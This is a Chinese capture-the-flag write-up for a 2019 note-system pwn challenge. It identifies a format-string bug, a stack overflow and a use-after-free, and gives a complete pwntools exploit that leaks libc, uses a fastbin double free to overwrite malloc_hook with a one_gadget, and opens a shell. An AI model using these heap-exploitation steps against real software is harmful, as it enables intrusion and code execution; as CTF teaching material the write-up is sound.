2019中原工pwn题

checksec机制和file信息

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

./pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, 
for GNU/Linux 2.6.32, BuildID[sha1]=27c2b18fe2e670a93eb2e587d92df77ed62d5d99, not stripped

这次比赛是线下awd赛事,所以libc版本是知道的(ubuntu16.04)

运行

Welcom to Note system!
Please input your name:aaaa
Hello aaaa
Please input your password:bbbb

Note system
1. create a note
2. write note
3. free the note
4. show the note
5. exit
choice: 

简单分析

安全机制[+]---->大部分的机制全部开启了
运 行[+]---->可以看出来里面结合了堆溢出,在开始输入用户名的密码的地方是否存在栈溢出等漏洞需要结合IDA查看

IDA分析

  char format; // [rsp+0h] [rbp-30h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Welcom to Note system!");
  printf("Please input your name:");
  __isoc99_scanf("%s", &format);
  printf("Hello ", &format);
  printf(&format);    #存在格式化字符串漏洞
  printf("\nPlease input your password:");
  read(0, &buf, 0x40uLL);   #存在栈溢出,buf明显小于0x40
  return __readfsqword(0x28u) ^ v3;

利用格式化字符串泄露canary和内置函数(为了泄露libc_base),这里需要注意的是buf的大小,需要考虑栈旋转。

	free函数
  printf("index: ");
  v0 = getchoice(v2);
  v3 = v0;
  if ( v0 >= 0LL && v0 <= 15LL )
  {
    v3 = *(&a + 4 * v0);
    free(*(&a + 2 * v0 + 1));                   // uaf
  }
  return v3;

利用堆里存在uaf漏洞(泄露libc_base),然后利用double free伪造chunk 然后修改malloc_hook或者free_hook

EXP(堆)

from pwn import*
context.log_level = 'debug'

p = process("./pwn")

def add(size):
	p.sendlineafter("choice: ",str(1))
	p.sendlineafter("size: ",str(size))
def write(index,content):
	p.sendlineafter("choice: ",str(2))
	p.sendlineafter("index: ",str(index))
	p.sendlineafter("content: ",content)
def free(index):
	p.sendlineafter("choice: ",str(3))
	p.sendlineafter("index: ",str(index))
def show(index):
   	p.sendlineafter("choice: ",str(4))
   	p.sendlineafter("index: ",str(index))


p.recvuntil("Please input your name:")
p.sendline("aaaa")
p.recvuntil("your password:")
p.sendline("bbbb")

print "===== leak libc_base"
add(0x80) #0
add(0x20)  #1
free(0)
show(0)
p.recvuntil("content: ")
main_arena = u64(p.recv(6).ljust(8,"\x00"))
libc_base = main_arena -0x58 -0x3c4b20
print ("[+]----->main_arena = ") + hex(main_arena)
print ("[+]----->libc_base = ") + hex(libc_base)

print "===== fake chunk ====="
fake_chunk = main_arena - 0x58 -0x33
one_gadget = libc_base + 0xf1147
print ("[+]-----> fake_chunk =") +hex(fake_chunk)
add(0x80) #2
add(0x60) #3
add(0x60) #4
free(3)
free(4)
free(3)
#attach(p)

add(0x60) # new 3
write(3,p64(fake_chunk)+"a"*(0x60-8))

add(0x60) # new 4
add(0x60) # new 3
add(0x60) # fake_chunk 5

print "===== get shell ====="
write(8,"a"*0x13 + p64(one_gadget)+"b"*(0x60-0x13-0x8))
add(0x20)
p.interactive()    

你可能感兴趣的:(赛事复现)